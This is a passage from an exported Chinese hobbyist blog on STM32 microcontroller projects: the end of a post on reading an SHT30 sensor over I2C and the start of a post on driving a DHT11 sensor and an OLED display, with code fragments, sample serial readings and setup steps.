punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token function\"\u003estrlen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 check failed!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 read date failed!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"结果对比\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E7%BB%93%E6%9E%9C%E5%AF%B9%E6%AF%94\" class=\"headerlink\" title=\"结果对比\"\u003e\u003c/a\u003e结果对比\u003c/h2\u003e\u003cp\u003e随便复制几段单片机串口发过来的:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e53.824\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.36\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.92\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e55.818\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.34\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.85\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e57.818\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.41\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.88\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e59.815\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.33\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.98\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e01.809\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.40\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.89\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e03.808\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.38\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.96\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e05.804\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.38\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.94\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e07.799\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.38\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;54.02\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e09.796\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.36\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.84\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e11.807\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.37\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.82\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e13.788\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.36\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.71\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e手机上看一眼小米温湿度传感器的:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/res.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003e还行。\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cp\u003e\u003ca href=\"https://www.analog.com/cn/analog-dialogue/articles/i2c-communication-protocol-understanding-i2c-primer-pmbus-and-smbus.html\"\u003eI2C通信协议:了解I2C Primer、 PMBus和SMBus | 亚德诺半导体 (analog.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/m0_51429770/article/details/127661382?spm=1001.2014.3001.5506\"\u003eI2C协议介绍以及HAL库实现I2C对SHT30温湿度采样_hal i2c_HaiQinyanAN的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Yangtzey/article/details/129660763?spm=1001.2014.3001.5506\"\u003eIIC及配置应用(SHT30读取温湿度)_嵌不入的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_46251230/article/details/126722112?spm=1001.2014.3001.5506\"\u003eSTM32物联网项目-SHT30温湿度采集(IIC通信)_ONE_Day|的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://sensirion.com/media/documents/213E6A3B/63A5A569/Datasheet_SHT3x_DIS.pdf\"\u003e[Datasheet SHT3x-DIS]\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/f0c68eebb8a1\"\u003eCRC8校验 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/6c49/"},{"title":"STM32温湿度测量与显示-单总线协议学习","time":"2023-05-18T15:55:06Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#STM32%E6%B8%A9%E6%B9%BF%E5%BA%A6%E6%B5%8B%E9%87%8F%E4%B8%8E%E6%98%BE%E7%A4%BA-%E5%8D%95%E6%80%BB%E7%BA%BF%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0\" class=\"headerlink\" title=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003c/a\u003eSTM32温湿度测量与显示-单总线协议学习\u003c/h1\u003e\u003cp\u003e为了验收个小玩意用一晚上搓了一个,比较氵。 \u003cdel\u003e那就氵篇博客算了。\u003c/del\u003e \u003c/p\u003e\u003cp\u003e手头正好有个ST的板子,型号是STM32G431KBT6,主频170M。刚好拿过来用了。(真好用啊,就是做这个有点浪费。\u003c/p\u003e\u003cp\u003e温湿度传感器使用 \u003cstrong\u003eDHT11\u003c/strong\u003e (单总线协议),屏幕是个IIC的小OLED,还用到了串口来看数据是否正确。(没了,确实氵。\u003c/p\u003e\u003cp\u003e效果图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/index.webp\" alt=\"效果图\" style=\"zoom: 33%;\"/\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003cp\u003e首先去官网下载 \u003cstrong\u003eSTM32G4xx\u003c/strong\u003e 的包。(\u003ca href=\"https://keilpack.azureedge.net/pack/Keil.STM32G4xx_DFP.1.5.0.pack\"\u003eKeil.STM32G4xx_DFP.1.5.0.pack\u003c/a\u003e)。官网直连下载很慢,很慢……\u003c/p\u003e\u003cp\u003e然后去CubeMX里面新建工程,因为是官方的板子,所以可以直接选择这块板子的模板创建。时钟设置170M(默认的)。选择一个没有中文的路径生成工程。\u003c/p\u003e\u003cp\u003e接下来的流程是:\u003c/p\u003e\u003cul\u003e\u003cli\u003e设置串口\u003c/li\u003e\u003cli\u003e驱动OLED屏幕\u003cul\u003e\u003cli\u003e重新配置延时函数\u003c/li\u003e\u003cli\u003e添加软件IIC\u003c/li\u003e\u003cli\u003e添加OLED驱动\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e驱动DHT11温湿度传感器(\u003cstrong\u003e单总线协议的学习\u003c/strong\u003e)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e因为使用的OLED驱动比较特殊,添加之后无法使用原来的 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 函数,需要按照该驱动的要求重新配置延时函数,之后使用其提供的 \u003ccode\u003edelay_ms()\u003c/code\u003e 和 \u003ccode\u003edelay_us()\u003c/code\u003e 两个函数代替 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 函数,当然实际上是方便不少的,因为 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 是毫秒级延时,所以直接使用上面两个函数可以让自己少写一个微秒的延时函数,具体原理可以参考\u003ca href=\"https://blog.ksfu.top/posts/463a/\"\u003e之前的一篇博客\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"具体实现\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E5%85%B7%E4%BD%93%E5%AE%9E%E7%8E%B0\" class=\"headerlink\" title=\"具体实现\"\u003e\u003c/a\u003e具体实现\u003c/h2\u003e\u003ch3 id=\"串口设置\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E4%B8%B2%E5%8F%A3%E8%AE%BE%E7%BD%AE\" class=\"headerlink\" title=\"串口设置\"\u003e\u003c/a\u003e串口设置\u003c/h3\u003e\u003cp\u003e串口的具体实现参考我之前的博客步骤:\u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e 。因为这次没有用到收的功能,所以只需要设置好发送功能即可。\u003c/p\u003e\u003cp\u003e本次使用USART1。其实 \u003cstrong\u003e更推荐\u003c/strong\u003e 使用USART2的,因为官方的板子上本身就有串口芯片,使用的USART2,这样用一根USB线连电脑上就可以同时供电,下载和查看串口数据了,不用自己再连一个USB转串口的模块了,还能腾出来两个引脚,这STM32G431KBT6的引脚是真的少。 \u003cdel\u003e(还是官方板子好用,就是贵\u003c/del\u003e\u003c/p\u003e\u003chr/\u003e\u003cblockquote\u003e\u003cp\u003e\u003cdel\u003e)晚上要去重庆,剩下的具体流程就等下周回来再写了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e回来了,发现实习二面寄了,悲)\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003chr/\u003e\u003ch3 id=\"驱动OLED屏幕\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E9%A9%B1%E5%8A%A8OLED%E5%B1%8F%E5%B9%95\" class=\"headerlink\" title=\"驱动OLED屏幕\"\u003e\u003c/a\u003e驱动OLED屏幕\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e这一节可以略过。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e本次的驱动选自 \u003ca href=\"http://www.lcdwiki.com/zh/Main_Page\"\u003eLCD wiki\u003c/a\u003e 。\u003c/p\u003e\u003cp\u003e因为 LCD wiki 的驱动为gb2312编码,为了以后写的舒服,我先转换为了utf-8,具体可以参考:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.ksfu.top/posts/2d8a/\"\u003e批量转换文件编码gb2312转utf-8\u003c/a\u003e 。但是注意,代码里有中文的地方,比如 \u003ccode\u003etest.c\u003c/code\u003e,\u003ccode\u003eoledfont.h\u003c/code\u003e等文件需要保持原来的gb2312。\u003cdel\u003e(看见编译时候的编码报错真是心累呐\u003c/del\u003e\u003c/p\u003e\u003cp\u003eLCD wiki 的驱动使用标准库编写,放入HAL库的项目中会狠狠报错,所以要进行修改)我自己修改了一下,以后写一下修改过程emmm(咕咕\u003c/p\u003e\u003ch4 id=\"重新配置延时函数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E9%87%8D%E6%96%B0%E9%85%8D%E7%BD%AE%E5%BB%B6%E6%97%B6%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"重新配置延时函数\"\u003e\u003c/a\u003e重新配置延时函数\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003esys.h\u003c/code\u003e , \u003ccode\u003esys.c\u003c/code\u003e , \u003ccode\u003edelay.h\u003c/code\u003e , \u003ccode\u003edelay.c\u003c/code\u003e ,注意修改里面包含的头文件为对应的 \u003ccode\u003e#include \u0026#34;stm32g4xx.h\u0026#34;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e之后在 \u003ccode\u003emain.c\u003c/code\u003e 里面进行初始化: \u003ccode\u003edelay_init();\u003c/code\u003e 初始化完成后以后的延时就用 \u003ccode\u003edelay_ms()\u003c/code\u003e 和 \u003ccode\u003edelay_us()\u003c/code\u003e 。\u003c/p\u003e\u003ch4 id=\"添加软件IIC\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E6%B7%BB%E5%8A%A0%E8%BD%AF%E4%BB%B6IIC\" class=\"headerlink\" title=\"添加软件IIC\"\u003e\u003c/a\u003e添加软件IIC\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003eiic.c\u003c/code\u003e , \u003ccode\u003eiic.h\u003c/code\u003e ,注意修改里面 \u003ccode\u003eSCL\u003c/code\u003e 与 \u003ccode\u003eSDA\u003c/code\u003e 的引脚。本次分别使用 \u003ccode\u003ePA1\u003c/code\u003e , \u003ccode\u003ePA0\u003c/code\u003e 。\u003c/p\u003e\u003ch4 id=\"添加OLED驱动\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E6%B7%BB%E5%8A%A0OLED%E9%A9%B1%E5%8A%A8\" class=\"headerlink\" title=\"添加OLED驱动\"\u003e\u003c/a\u003e添加OLED驱动\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003ebmp.h\u003c/code\u003e , \u003ccode\u003egui.h\u003c/code\u003e , \u003ccode\u003egui.c\u003c/code\u003e , \u003ccode\u003eoled.c\u003c/code\u003e , \u003ccode\u003eoled.h\u003c/code\u003e , \u003ccode\u003eoledfont.h\u003c/code\u003e , \u003ccode\u003etest.c\u003c/code\u003e , \u003ccode\u003etest.h\u003c/code\u003e 。\u003c/p\u003e\u003cp\u003e这次所用的汉字取模保存至 \u003ccode\u003eoledfont.h\u003c/code\u003e 内,注意为gb2312编码。\u003c/p\u003e\u003cp\u003e取模使用 \u003ccode\u003ePCtoLCD2002\u003c/code\u003e ,为逐行式,顺向。考虑到屏幕大小,取模的大小为16×16。添加在 \u003ccode\u003econst typFNT_GB16 cfont16[]\u003c/code\u003e 的后面。如:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token string\"\u003e\u0026#34;康\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x3F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xF8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x3F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xF8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token 